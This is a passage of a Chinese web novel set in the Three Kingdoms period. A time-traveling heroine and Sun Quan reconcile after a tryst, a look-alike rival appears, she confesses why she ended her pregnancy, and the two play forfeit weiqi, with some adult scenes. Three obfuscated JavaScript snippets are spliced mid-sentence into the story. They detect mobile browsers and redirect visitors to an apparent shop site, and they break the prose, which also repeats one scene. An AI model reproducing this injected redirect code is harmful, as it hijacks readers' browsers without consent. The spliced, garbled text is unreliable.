“嗯。”他指尖掠过她微散的衣带,所到之处激起细密战栗,“行事后……再谢不迟。” 便再无言语。 洞外风雪簌簌撞击地面是唯一的声响,却仿佛隔了无形的屏障,朦朦胧胧。洞内天地很小,小到只容得下一个他;又很大,大到所有的理智、筹谋与坚持,都在这暖融春意里消弭无形。 明明正被他拥在怀中,却仿佛感知不到爱意,只剩下无端的委屈、失落、与想哭的冲动。 好像,他就要离开了。 步一乔又走神了。 我到底什么毛病,自怀孕后就变得这般多愁善感。脆弱自卑到眼下这等时候也要哭出来吗!说来……孙权还不知道那孩子流产的真伪,也不曾过问……莫非他一直都清楚,不提,也不拆穿? 一个尚未露面的步练师,就把自己搞成这样,还要不要面子了! 细细回想,伯符离开,我穿越到此,就只是来谈恋爱吗?一面担心历史走向,一面逼孙权只可娶自己…… 我为何变成这样?曾经的步一乔,去哪儿了? “仲谋……” 湿意涌出滑落,孙权感受到,抬起深埋的头,所有动作戛然而止。慌张地捧住步一乔的脸,一遍一遍擦掉不断涌出的泪。 “很疼吗?要不停——” “不是……”步一乔声音哽咽,“不是的……我……我……” 她泣不成声,哭得愈发委屈。 孙权擦泪的手停了下来,捧住她脸的掌心慢慢收回,他向后稍退,离开了她。 看着他这近乎“倒反天罡”的举动,步一乔一时错愕,哭声渐歇。 他……这是为何…… 步一乔怔怔地望着他退开,怀中骤然一空,凉意裹着失落漫上心头。 孙权跪坐在上方,昏暗中看不清神情。 “你若不愿,不必勉强。” “不是不愿……是怕……怕你……” “怕我会心悦她人,弃你而去。对吗?” 她咬唇不答,泪痕未干的脸上写满无声的诘问。 静默在两人之间蔓延。孙权始终面无表情,就这么沉沉地盯着她。 步一乔在他的注视下几乎无法呼吸。那眼神太深,太冷,像冬日结冰的江面。她忽然觉得,这才是这个男人真正的样子。 “抱歉……”步一乔蛮狠地抬起手臂擦掉眼泪,“我以前不爱哭的……不知从何时起,竟变得这般脆弱。” 许是爱情作祟吧。这二十年来,她何曾如此深爱过一个人。 “如今的我,与你心仪的模样怕是相去甚远。这些荒唐行径宛如……想逼你厌弃我。” 说话惹他不悦,娇蛮引他蹙眉,无理取闹徒增失望。 “步一乔早已不是从前那个直来直往、勇往直前的自己了。她变了。” 这段磨人的情爱,终究磨去了她的棱角。让她变得扭捏、善妒、患得患失。 半晌,孙权喉间逸出一声低笑,掺着自嘲与无奈。他抬手,这次不是捧她的脸,而是轻轻拂开她额前被泪水濡湿的发丝。 “我岂会不知。最初的我,不也正是这般模样?就当……你我做了一场交换。” 他俯身靠近,指尖抚过她湿润的脸颊,沿着泪痕下滑。 “幸而你未曾厌弃那时的我,反而愿以深情相待。而我亦不觉你烦扰,只悔自己未能给你足够心安,徒让你惶恐难安。” 他的剖白让她心尖发颤。原来他亦曾忐忑。 “忘掉史书里的孙权罢,此刻在你眼前的,只是你的仲谋。” 他低头,将轻如落雪的吻印在她未干的泪痕上。 步一乔闭上眼,待那温热离去,才缓缓睁眼。 “嗯……字字句句,我都听清了。只是……不敢保证往后不再犯。” 孙权眼底笑意漾开。 “无妨,早知你性子差,我既选了你,便受得住。” “你——你才性子差呢!” 话音未落,步一乔已整个人扑进孙权怀中。这一扑来得突然,直将他撞倒在草席上。她也不客气,抱着人便是好一顿“报复”。 如饿狼扑食般,抱着他上下左右地啃咬起来。从颈侧到锁骨,从下颌到耳垂,每一下都赌气似的格外用力。 孙权低笑出声,任由她在自己身上胡闹,咬出一个个清晰可见的齿痕。宽厚的手掌抚过她散落的长发,指尖缠绕着发丝,眼底是说不尽的宠溺。 “若非遇见你,我这一生的姻缘,恐怕皆为江东而嫁娶。笼络士族,与外联姻。” 步一乔咽下一口,仰头望着玩弄自己发丝的孙权。 “为何变了呢?” “因为你呀。” 因为你的出现,给了我特权。我可以放肆一回,随性而为。 大不了……重头再来。 步一乔微微一笑,重新埋下头。 齿尖嵌进皮肉里,留下月牙似的印子;后来成了舔舐,湿热的舌尖掠过方才咬过的痕迹。最后停在他锁骨凹陷处,不动了。 “咬够了?”孙权问。 她不答,只将滚烫的脸颊贴在他颈间。那里血脉搏动,与她急促的呼吸交织成密密的网。 孙权刚想追问,忽然发现看似停住不动之人的手正在做坏事。隔着衣料也能感受到那份不容忽视的热度,更何况眼下无遮无掩,过分直白。 “嘶——疼。”他倒抽一口气,肌肉瞬间绷紧。 步一乔低头看了眼,抬起湿漉漉的眼睛,小声道:“抱歉,我头一回……你、你容我慢慢学……熟练了,定不会弄疼你。” 这话听着天真,却比任何撩拨都来得致命。 孙权沉重喘出一息,扣住她后颈,稍稍用力,迫使她抬起头来。四目相对,她眼中水光潋滟,分不清是未干的泪,还是新生的情动。 “现在知道害羞了?”他低笑,拇指摩挲着她耳后细嫩的肌肤。 步一乔想反驳,开口却成了一声轻哼。他的指尖正沿着她脊沟徐徐下滑。所过之处如星火燎原,激起细密的战栗。 “仲、仲谋……别……你别……”她下意轻唤,声音软得不像话。 孙权应着,一个翻身将她拢在身下,呵出的热气打在她更为灼热的肌肤上。握住她不知所措的手,十指相扣着按在席上。 吻落下的节奏不紧不慢,从轻颤的眼睑到微张的唇,每一处都耐心停留。 “叫我夫君。” “……什么?” “叫我夫君。”他又重复一遍。 “可……可你我尚未成亲……” 步一乔支支吾吾地别开脸,却被孙权及时捏住搬回去,深邃的目光竟带来强大的压迫感。 “步一乔,叫我夫君。” 步一乔呼吸一滞,在他灼灼的注视下,终于轻声唤道:“夫……君……” 二字出口,孙权瞬间俯身吻住她的唇,呜咽一声便是无尽的□□。 如同绽放的花瓣,身处冬日,便以梅花作比。枝干就绪,正被六礼娴熟的君子细细腻腻点缀。 笔走游龙,墨迹蜿蜒着从枝头到树根,而后他提笔,凝神聚意,在关键处稍重落笔。 笔锋转撵,一气呵成,方才还略显朴拙的纤细树干,竟在转折顿挫间生出嶙峋的风骨与劲挺的力道。 一点墨,恰似一朵梅,在他笔下痛风雪呼啸着倏然绽放。 步一乔瞪大眼睛空洞地望着洞顶的岩壁,瘫在身侧的双手虚虚地抓握,发现手边老远也没东西,视线朝下,看见某人发顶,顿时安心了些,抱着他的脑袋,紧紧抓住他的墨发。 孙权自顾作画。 吻从锁骨一路蜿蜒而下,比先前细致百倍,也磨人百倍。步一乔忍不住蜷起脚趾,指尖更深陷入他发间。 洞外风雪交加,她在他身下烘烤着化作春水,红染枝头有泪痕。 * “公瑾兄与乔夫人也回了庐江,明日宴席,你同我前去。” “好。那为免旁人猜议,明日我便勉强做一日主公的侍女罢。” 眼瞅着风雪暂息,两人穿好衣裳打算尽快赶回孙氏老宅。天刚破晓,一夜未眠的两人所幸还剩点气力,赶路下山不成问题。 孙氏老宅坐落在庐江城东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822806|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然孙家人搬去吴郡多年,但老宅一直有人看守打扫,这些年凡需在庐江过夜,均住在老宅。 回到宅中安置妥当后,步一乔被孙权引着,步入了他年少时读书的书房。 书房内陈设简朴,墨香与旧木的气息氤氲不散。 “这是我少时读书的地方。晨间习武,午后便在这里度过。” 步一乔轻轻抚过冰凉光滑的案面,仿佛能看见一个清瘦少年的身影正伏案疾书。她抬眼,目光落在窗棂上一道浅浅的刻痕上,不由好奇。 孙权顺着她的目光看去,唇角浮起一丝笑意。 “那是叔弼(孙翊)刻的。”他走近,指尖拂过那道痕迹,“他那时顽劣,趁我读书入神,想用木剑吓我,结果剑尖划在了窗上。” 他顿了顿,眼中有光影流动,旧日喧嚣恍在眼前。 “兄长常在这里考校我功课,他自己坐不住,听我背诵时,手指总不耐地敲击桌面。公瑾兄来访时,便成了他听我背诵,兄长则于一旁打瞌睡。” “有时,叔弼与季佐(孙匡)也会溜进来,在这书架间追逐打闹,弄得一地狼藉。” 步一乔静静听着,在她印象中那位杀伐果断的江东之主形象旁,悄然勾勒出一个更鲜活、也更沉重的少年影子。 “后来呢?”她轻声问。 孙权沉默片刻,望向窗外覆雪的庭院,声音渐沉。 “后来,兄长扛起了整个家业,再没时间听我背书。叔弼、季佐也长大了,不会再做这般孩童之举。大家各奔东西,为江东冲锋陷阵,聚少离多。” 书房内一时寂静,唯闻窗外积雪压断枯枝的声响。那些鲜活的过往,凝成了他口中一段云淡风轻的故事。 终是,人无再少年。 步一乔走到孙权身侧牵住他的手,想不出安慰的话,只好一同望着庭院。 说不出“等乱世结束,兄弟团圆那日”,因待到眼前十九岁少年真正平定江山、位及至尊之时,至亲之人早已散落天涯。 孙权侧目看她神情渐渐凝重,不由轻笑:“难得听你没说些安慰人的话。” “怕说错了,反倒更惹伤感……” “说来听听又何妨?” 她垂下眼帘:“本想说我大抵会长寿些,能陪你走到最后……可终究无法保证。” 孙权将她揽入怀中道:“此话,不该由你来说。” 窗外积雪映照的微光落在他侧脸上,他握着她的手指在案上写下一行字。 “与卿同舟,共此白首。” 步一乔怔怔望着那行不存在却有形的字,眼眶微微发热。也握着他的手写下一行字。 孙权低头细看,一字一顿念道:“误卿是仲谋?” “嗯。”步一乔含笑道,“是你误了我,所以这一生,你都要好好补偿。陪着我,让我,也陪着你。” 步一乔想起了徐媛为自己的占卜:相伴长久的两个人未必是夫妻。一层名正言顺的关系罢了,不要也罢。 * 周府宴席,庐江名门齐聚。令人惊讶的是,那位日理万机的主公竟也在场。 “想不到今日能得见主公!” “听闻淮阴步氏的小姐也要来,莫非主公正是为此而来?” “当真是郎才女貌,天作之合啊!” 步一乔以侍女身份随行,不便紧随孙权左右,只得立在远处候命。那些议论字字清晰,搅得她心神不宁。 耳不听为静,她悄然退至庭院深处的梅树下。 “方才瞥见你的身影,一转眼就不见了,让我好找。” 小乔挺着孕肚在侍女搀扶下缓步而来。步一乔忙起身相扶。 “听说你们昨日便到了庐江,却未在孙府下榻?” “途中遇大雪封山,今晨方归。” “可曾受伤?定又是你任性进山,仲谋只得追去找你吧?” 步一乔轻笑,“知我者,小乔也。” 小乔一眼看穿她的心事,道:“是因那位步练师?” 虽不愿承认,步一乔还是点头。 “可曾见过本人?” “只见过画像。” “画像哪能瞧出真容?走,我领你去亲眼看看。” “不必了吧……” “我也只匆匆见过一面,却总觉得该让你亲眼见见。” 步一乔扶着小乔,缓步走向庭院另一侧的水榭,躲在暗处眺望。 远处亭中,几位世家小姐正在赏梅说笑。其中一人格外引人注目。 她身着月白深衣,乌发如云,仅簪一支白玉步摇。她端坐亭中,姿态娴雅,偶尔浅笑时眼波流转,恰似春水映梨花。最动人的是那通身的气度,温婉中自带清贵,让人见之忘俗。 步一乔不自觉地屏住了呼吸,不安的情绪愈发翻涌得厉害。 那便是步练师,画像不及本人十分之一美貌的女子,只一眼便让人情难自抑,宠爱一生,死后追封皇后的女子。 “果然……名不虚传。” 小乔轻声问:“你指她的美貌?” 步一乔目光仍停留在那道身影上,“不止是美貌,还有那身气度。贻笑大方,礼仪得当。” 小乔疑惑不解,“你这话里,怎么透着几分自惭形秽?” “我哪儿能和她比。她是真正的大家闺秀,我……乡野泼妇。” 小乔凝视着她,眼底泛起温柔笑意。 “现在我可算懂了,何为‘不识庐山真面目,只缘身在此山中’。” “什么?” 小乔命侍女取来一面铜镜,轻轻放入步一乔手中。镜面映出一张茫然而姣好的面容。 “不敢说十成十相像,但你俩若站在一起,定会有人将你们错认作一对孪生姐妹。” 步一乔怔住:“你是说……我与她,容貌相似?” “若你也能同步小姐那般温婉沉静,那便真真是一个模子刻出来的了。” 步一乔垂下眼帘,指尖无意识摩挲着镜缘,低声重复道:“我和……步练师么。” 75. 知 镜中容颜与亭中身影在步一乔眼中交替浮现,她忽然觉得手中的铜镜重若千钧。 “所以……孙权才会对我这般特别?一见钟情的不是人,是这张脸?” 小乔甚是疑惑。这姑娘的想法总快得令她跟不上。 恰在此时,远处传来一阵骚动。只见一位庐江本地权贵,恭敬地引着孙权往后院走来,而亭中的步练师也在侍女的陪同下盈盈起身。 两人在梅树下不期而遇,孙权明显愣了一下,随即彬彬有礼地还礼。 身边的其余人不知为何纷纷走开,小池边只余孙权与步练师相对而立的身影 步练师微微欠身行礼,姿态优雅如画;孙权则抬手虚扶,举止温文有礼。 好一对璧人。 她想起自己与孙权的相处。 他会毫不客气地敲她的额头,会因她任性而无奈叹息,会在她涉险犯傻时毫不客气地教训她。 那些她以为的“特别”,此刻在步练师面前,显得如此可笑。 原来他并非不懂礼数,只是不曾对她用这份礼数;他并非不会庄重,只是不愿在她面前这般庄重。 步一乔紧紧攥住手中的铜镜。所以他会心悦自己,不过是因为这张与步练师如此相似的脸。 历史早已写好了故事,不是吗。 “当真是……相敬如宾。”她轻声自语,唇角勾起一抹自嘲的弧度。 小乔看着她骤然苍白的脸色,轻叹一声:“一乔……那二人不过初见,不必太过忧心。我相信仲谋对你——” “你不是熟知三国历史吗?难道不知道孙权和步练师的故事?” “你知我那时年纪尚小,许多细节早已记不清了……” “是一见钟情!孙权可是看了一眼就决定要娶她,然后余生都——” 步一乔拔高的声音戛然而止。她看着小乔惊愕的神情,瞬间气势全无,轻轻拥住小乔的身子,声音低了下来:“吓到你了……对不起。” “确实吓到了。”小乔抚着步一乔的后背苦笑道,“我还是第一次见你失态成这样。” 步一乔不语,目光却不由自主地再次飘向那对相谈的身影。 “我没事……” 这话不知是在安慰小乔,还是在说服自己。 就在这时,一名侍从匆匆穿过庭院,在孙权耳边低语了几句。孙权神色微凝,对步练师礼貌地颔首示意,便转身离去,步履匆忙,似是前方有紧急军务待处。 步练师独自在原地站了片刻,久久凝望着孙权远去的背影。随后,她也转身,在侍女的陪伴下悄然离开了水榭。 一场看似精心安排的“偶遇”,就这样戛然而止。 小乔轻轻握住步一乔的手,发现她掌心一片冰凉。 “看,并非如你所想那般。仲谋他——” “他走了,是因为军务,而非因为不愿见她。若无事打扰,他们或许会相谈更久,不是吗?” 步一乔低头看着手中的铜镜。 “小乔,你说……若我早些知道自己长得像她,是不是就不会……” 晚风拂过,吹动一树梅花,细碎的花瓣簌簌落下,沾了她满肩。步一乔将铜镜轻轻塞回小乔手中,勉强笑了笑。 “外面凉,我扶你回去吧。” * 到底是步一乔变了,还是所面对之人不同的缘故。 上一次,撞见孙权和徐夫人,步一乔敢怒敢言。可看着孙权和步练师,她竟挪不动脚,怯懦到想要跑开。 孙权踏着月色回到老宅,发现厢房空无一人,提着灯笼寻至书房前,果然在石阶上找到了那个蜷缩在寒风中的身影。 好在她将自己裹得严实,孙权稍稍安心,撩起衣摆在她身侧坐下。 “想什么呢?神情这般凝重?” “挺好的,步小姐。” 孙权蹙眉看向她:“又来。” “我认真的。” “既是认真,为何不敢看我?” “因为我不想看你。”步一乔转过脸去,“我果然,还是没法嫁给你。谢小姐也好,步小姐也好,你都娶了吧。不为别的,也为你江东考虑吧。若是与张昭和四大家族闹翻,你的位置岌岌可危啊。谢氏和步氏能给你带来不少好处,为政治联姻,也是你主公的职责所在。” 孙权蹙眉更甚。 “我不过去处理些事物,怎的回来人又变了?” “大抵有病吧……” 步一乔自嘲着站起身,在朦胧月色下回头望向他。 “我问你,你当初是不是因为我的脸,才喜欢我的?” 孙权刚要开口,就被她打断。 “我要听实话。” 他沉默良久,终是低声应道:“……是。” “建安七年初遇时,你是因为这张脸,心生悸动、情难自抑,所以答应我的,是吗?” “……是。” “比起我的性子,你更心悦这张脸,是吗?” “这是何问题?” “回答我!” 他闭了闭眼,喉结微动:“……是。” 步一乔轻轻颔首,嗓音忽然变得很轻很柔。 “这样啊。我知道了。” 她转身,走得很慢。走出两步后,停下。 “你知道我腹中的孩子,怎么没的吗?” “……知道。” “知道真正的幕后之人是谁吗?” “……知道。” 答案出乎步一乔的意料,她惊愕地回头。 “你知道?” 孙权极轻极轻地“嗯”了一声,后道:“瞒着你,我派人彻查了此事。” 步一乔怔愣许久,忽地冷笑。 “知道是谁,有何感想?” “……很失望。” “只是失望?” 孙权微微颔首,“叔弼与我相差不过一岁,且我自小待他宽厚。他竟——” “停!”步一乔打断他,“这是你查出的结果?” “我还在你房中,发现了一块残余的布料。是你反抗时留下的吧。” 他是说当时自己留在房中的桌案上,引贼人上钩的碎步?可那不是孙翊和徐夫人发现的?怎么成他孙权发现的了? 两个人看似在说同一件事,又好似没有。 “那明显是一块有灼烧痕迹的布,怎么可能是手撕下来的!” “灼烧?”孙权反问,“那件衣裳,是你烧的?为何?为了包庇叔弼?包庇下药害你之人?” “孙翊是被孙辅以徐夫人母族性命相胁,不得已而为之!” “孙辅向来针对的是我,又为何要对你下手?”孙权起身,步步紧逼,“除非他早知道你腹中是我的骨肉。可这件事,本该只有你我二人知晓。” 步一乔话到嘴边突然顿住,在月光下死死盯住孙权沉静的面容。一瞬间,所有线索在她脑海中串联成线。 她缓缓勾起一抹苦笑道:“好啊孙仲谋……绕了这么大圈子,原来是在这儿等着我坦白。” “所以,究竟是什么,逼你对自己狠心至此?” 夜风掠过,吹起步一乔散落的鬓发。 “因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828532|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为,我不想生。” 六个字轻轻落下,却让孙权整个人僵在原地。 “这里是三国乱世,他是东吴开国皇帝的长子,将来必将卷入后宫之争的一员。” 一滴泪顺着她的脸颊滑落。 “我不想让我的孩子,备受宠爱长大,然后深陷他父亲亲手布下的局,与手足相残到两败俱伤后,或流放,或赐死。” * 正史所载,孙权晚年,因长女全公主孙鲁班与太子孙和之母结怨,不断进谗,更联合朝臣拥立鲁王孙霸。加之孙权态度暧昧,终酿成惨烈的“二宫之争”。 朝臣为此分裂对立,太子党核心陆逊竟被孙权活活气死。 这场内斗持续八年,最终以太子孙和被废、鲁王孙霸被赐死告终。东吴元气大伤,根基动摇,埋下了覆灭的伏笔。 自读罢《吴书》,步一乔最厌一人,毫不掩饰,那便是孙鲁班。 而此人,正是步练师之女。 “二宫之争”本与步练师无关,步一乔心中清楚不该牵连。可——若非孙权对步练师极尽宠爱,进而娇纵孙鲁班至此,东吴又何至于衰亡得那样快? 步一乔揉了揉发胀的额角,忽又警觉,怕孙权盛怒之下有何举动,悄悄向后退了半步。 孙权静立不动,他没有怒,也没有问,只是那样看着她。良久,才低低开口: “所以……你因尚未发生的未来,便判了我们的孩子死刑?” “那不是‘尚未发生’,那是注定会发生的历史。你比我更清楚,帝王之家,何来骨肉温情?” “你口口声声的历史,写的真是你我这一生么?”孙权向前一步,“你凭什么认定,你我之子,定会走上那条老路?” “因为你终究会成为吴大帝,因为帝王的权术与制衡,早已刻进你的骨血里。”步一乔再次后退,“纵使你今日爱我宠我,来日为了朝局平衡、为了制衡士族、为了你心中的江东,你依然会将他当作棋子。” 话音落下,庭院陷入一片死寂,孙权沉眸久久凝视着她。 步一乔紧张到咬唇,连连后退到脊背抵上冰凉的廊柱。 孙权忽然笑了,走到她跟前。 “不爱听我说话,一意孤行,还总给自己招惹是非,我为何偏偏心悦你这样的姑娘?” “那是你的事儿……” “当初你将身孕一事告知我,我说了什么?” “你说什么?” “我说,若你不想要这孩子,只管告诉我,我都依你。” 步一乔张了张口,觉得心口有什么东西在寸寸松动。 “那为何……为何还要设下这样的局?逼我说实话?” 孙权轻轻摇头,“我设局,不会用你的安危作筹码。” “我设局,也没用你的安危呀。” “但你伤了自己。”他声音陡然转沉,“步一乔,你对自己下手的时候,可曾想过,那也是在剜我的心?” 孙权抬手抚上她的脸颊。 “真不知该说你傻,还是聪明过了头。我既应允只与你一人成婚,何来后宫?与谁相争?你本就不在你所熟读的史书之中,又如何断定,眼前的路必会走向史册所载的结局?” 步一乔突然一声笑,是解开心结的笑。她伸手勾住孙权的腰带,将人轻轻拉近。孙权却反应极快,抬臂撑在她身侧的廊柱上,未将重量全然压向她。 得逞的步一乔仰起脸,眼中漾起狡黠的光,顺势将面颊埋入他衣襟间。 “主公今夜……可愿与我在书房,来一场酣畅淋漓的‘对弈’?” 76. 囍 “但你伤了自己。步一乔,你对自己下手的时候,可曾想过,那也是在剜我的心?” 孙权抬手抚上她的脸颊。 “真不知该说你傻,还是聪明过了头。我既应允只与你一人成婚,何来后宫?与谁相争?你本就不在你所熟读的史书之中,又如何断定,眼前的路必会走向史册所载的结局?” 是啊,自己本就是这段历史以外的人,是全新的变数。 这个道理自己一直都懂,只是,尘埃落定的故事比谁都背得认真、仔细,是她步一乔无法忽视的事实。 步一乔突然一声笑,是解开心结的笑。 “主公原来也是个脸盲呢。” “嗯?” 步一乔仰起脸,“没发现我和谁,长得很像?” 孙权目光微凝,似在认真回想,却终究摇头:“谁?” “噗嗤——你是真不知,还是假不知?再仔细看看?” 孙权神色依旧茫然,仿佛将平生所见容颜皆在心头掠过一遍,仍无所获。 “像谁?” “像……”她话音一顿,眼底掠过一丝狡黠,“偏不告诉你。若说了,你特地去找她怎么办?” 万一再看一眼,入了心呢。 步一乔伸手勾住孙权的腰带,将人轻轻拉近。孙权却反应极快,抬臂撑在她身侧的廊柱上,未将重量全然压向她。 得逞的步一乔仰起脸,眼中漾起狡黠的光,顺势将面颊埋入他衣襟间。 “主公今夜……可愿与我在书房,来一场酣畅淋漓的‘对弈’?” “弈棋?甚好,许久未曾对坐枰前,自当奉陪。” 步一乔眉梢微动,心中另有计较,便含笑应下。 “不过需添些彩头。每输一局,便要应允对方一桩要求。” “好。” * 夜色渐沉,书房内烛影摇红,碳火猩红。 棋盘置于案上,黑白分明。步一乔执白,孙权执黑,相对而坐。 “主公可要手下留情啊,小女子可非自幼习六艺的君子。” “既定了彩头,自然要认真些。” 孙权眸光沉静,指尖黑子稳落天元。 起初十数手,步一乔下得行云流水,似是随意布局。孙权则步步为营,稳扎稳打。待到中盘,白子忽然连成一片隐伏的杀机。她早年在现代习得的定式变招,悄然织成罗网。 孙权执棋的手微顿,抬眼看向她。 步一乔托腮轻笑:“史书未载之事,棋盘上可多得是。” 他未应声,只将黑子落入一处看似无关的边角。三十手后,那片边角竟如活水般汇入中腹,反将她白棋大龙困于其中。 步一乔怔住。 “你所知的‘未来’,”孙权徐徐收子,“未必不能改写。” 她咬唇,推枰认输。 “第一局,我输了。愿赌服输。主公要什么?” “第一个要求,往后无论遇何事,不可再伤自身分毫。” 步一乔心尖微颤,别过脸轻哼:“这算什么?不作数。不过……我答应你。重提一个。” 孙权静默片刻,眼底掠过一丝极淡的笑意。 “那便换成——从今往后,你每次落子,都要看着我。” 步一乔耳根微热,却故意瞪他:“这又是什么古怪要求?” “如此,”他执起一枚黑子,在指尖轻轻转动,“我才知你每步棋里,藏的是谋略,还是别的什么。” “盯着你看还怎么专心下棋!不行,换一个!” “方才不是夫人亲口说的‘愿赌服输’?怎的才首局,便要接连耍赖?”孙权玩弄着棋子沉吟,“那便玩点世俗间喜闻乐见的吧,想请夫人为我印个章,用你的唇。” 步一乔静了半晌,忽然起身,绕到他身边,倏地扒开衣领,俯首便在他心口处深深一吮。温热气息纠缠肌肤,一遍遍,直至留下清晰殷红的印记。 唇瓣稍离,步一乔看着紫红色的标记,下意识用舌尖舔舐唇瓣,不小心蹭了下。孙权一下轻抖,伸手揽住她腰,将人带坐到自己膝上。 “喂!不许做赌注以外的事情!” 孙权只好悻悻松开手,放她回去。 “第二局我肯定赢!一定是白棋跟我不搭,咱们换换。” “好。” 第二局,她执黑先行,攻势凌厉。孙权却任她步步逼近,自守得滴水不漏。终局数子,竟又是她半目之差。 “不可能!”步一乔盯着棋枰,眼中满是不甘,“再来!” “第二个赌注还未提。”孙权好整以暇地理了理袖口。 “啧,快说!” 孙权见她气急败坏的模样,眼底笑意更深。他故意沉吟良久,才缓缓开口: “这第二个要求嘛……我要你为我绾一次发。” 步一乔怔住:“绾发?” “是,如世间寻常夫妻那般。” “可以是可以……但你得等我学会咯。” “等多久都行。” 窗外雪光映着窗纸,夜色在棋声与炭火中悄然流转。她垂眸看着纵横交错的棋路,忽然轻声问: “若是第三局我赢了……主公想受什么惩罚?” 孙权将最后一枚白子归入棋罐,抬眼看她。 “你赢不了。” “这般笃定?” “嗯,”他执起白子,在灯下端详她眉眼,“因为从你执黑先行的第一步起,我便已看清你全部棋路。” 步一乔故意将黑子落在棋盘外缘:“那若是我偏不按棋理下呢?” 孙权伸手,将她那枚落偏的棋子轻轻推回该落之处。 “那便陪你走出新局。” 半个时辰后。 “——哈,我赢了!愿赌服输,主公。” 孙权含笑颔首,“夫人想如何罚?” 步一乔眼波流转,笑意狡黠:“主公这一声‘夫人’,唤得可真是顺口。” “本该如此。”他嗓音温沉,目光未移。 步一乔指尖轻轻掠过棋盘边缘,一粒黑子在她指间转了个圈。 “那便罚主公,为我描一次眉吧。” “竟这般简单?” “简单?”步一乔倾身向前,“史书可载,吴主孙权曾为步夫人描眉画黛,闺阁之趣传为美谈?” “不曾。”他答得坦然。 “那自今夜起,便有了。” 孙权望着她含笑的眉眼,一时微怔,余光不自觉瞥向她微微松开的衣领。 步一乔抬手,指尖轻点自己。 “我也姓步。” 孙权目光微凝,随即眼底漾开一片了然的柔光。他执起手边眉笔,腕悬于空,却未急着落下。 “史笔如铁,不载闺中事。可若为你,我不妨做那添墨之人。” 笔尖轻触她眉梢,如春风拂过初柳。他描得极专注,仿佛这不是一场赌约的惩罚,而是某种郑重的仪式。 步一乔闭上眼,感受着他指尖的温度与呼吸的拂近。炭火偶尔噼啪一声,雪光透过窗纸,将两人的影子投在墙上,重叠又分离。 若非素衣白裳,眼下光景,只差红烛红裳、喜气洋洋。 “好了。”他搁下笔。 她转过脸看向铜镜,映出纤眉如黛,匀净舒展。转身时唇角轻扬:“手艺不差,主公往日……为人画过眉么?” “生平首次。只是见你眉型,便知该如何描摹。好似在心底,早已画过千万遍。” 步一乔心尖一颤,尚未应声,又听他道:“那我的罚呢?” “你输了棋,为何还有罚?” “方才那般,倒像顺了我的意,算不得惩罚。” “那,主公想如何?” 孙权起身取来两只酒觞,倒上温好的酒。将其中一盏递到她手中,另一盏自己执起。 “与我共饮此杯。却不得问,这是合卺酒,抑或只是寻常暖身的酒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832835|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒温透过青玉,熨帖着手心。步一乔不禁轻笑道:“到底是罚我,还是罚你啊?” 孙权举杯近唇,眼底映着摇曳的烛光。 “罚我猜不透你的心,也罚你……说不清自己的心。” 步一乔指尖微颤,酒面漾开细纹。她低下头,声音轻了下去。 “是我……总是迂回试探,有话不曾直说,累得你我之间如履薄冰,险些……抱歉。” 孙权的手落在她发间,安慰孩童似的轻抚。 “良辰静夜,夫人可愿与我,共饮此杯?不问前尘,只待明朝。” 步一乔抬眼,见他眼底笑意清浅,如雪后初霁的天光。 “愿。” 双杯轻碰,一声清泠脆响,荡开满室静谧。酒液入喉温润,似春溪融雪,一路暖至心底。 “主——” 步一乔抿唇低眉,再抬眸时盈满笑意。 “夫君。” 孙权执杯的手几不可察地顿了一瞬。 “再唤一次。” 步一乔抬眼迎上他的目光。 “夫君。” 这一声比方才更稳,更清,如珠落玉盘,在她唇齿间温存地滚过,才轻轻送至他耳畔。 孙权放下酒觞,伸手抚上她颊侧。 “你可知这一声……我等了多久。” 步一乔将脸偎入他掌心,闭目感受那温热。 “那往后我日日这般唤你,你可会听腻?” “不会。”他答得斩截,另一手接过她手中半满的酒盏,就着她饮过的位置,将余酒一饮而尽,“只会嫌不够。嫌晨光太短,长夜太快,嫌一生……太匆匆。” 窗外忽有积雪自枝头滑落,簌簌轻响,如应和这私语。 步一乔睁开眼,望见铜镜中两人相偎的身影。他广袖垂落,她青丝微乱,黛眉是他方才亲手所描。镜中光景,竟比任何一幅“举案齐眉”的画卷,更让她心悸。 少了红烛红裳又如何,充作喜宴,未尝不可。 “那今夜,”同步一乔转身,伸手环住孙权颈项,“夫君是欲继续弈棋,还是……” 话未竟,孙权闷哼一声,扣住她的腰撞向书架。竹简哗啦倾泻如瀑,他趁乱吻住她唇,在弥漫的尘土味里尝到血腥气。不知是谁咬破了谁的舌尖。 步一乔喘息着扯开他衣襟,冰凉指尖划过胸膛。 “弈棋来日方长。今夜,只弈同心。” 他忽然将她拦腰抱起,大步跨过满地狼藉,把她放在一方空无一物的桌案上。孙权俯身撑在她上方,指尖掠过她散开的衣带。 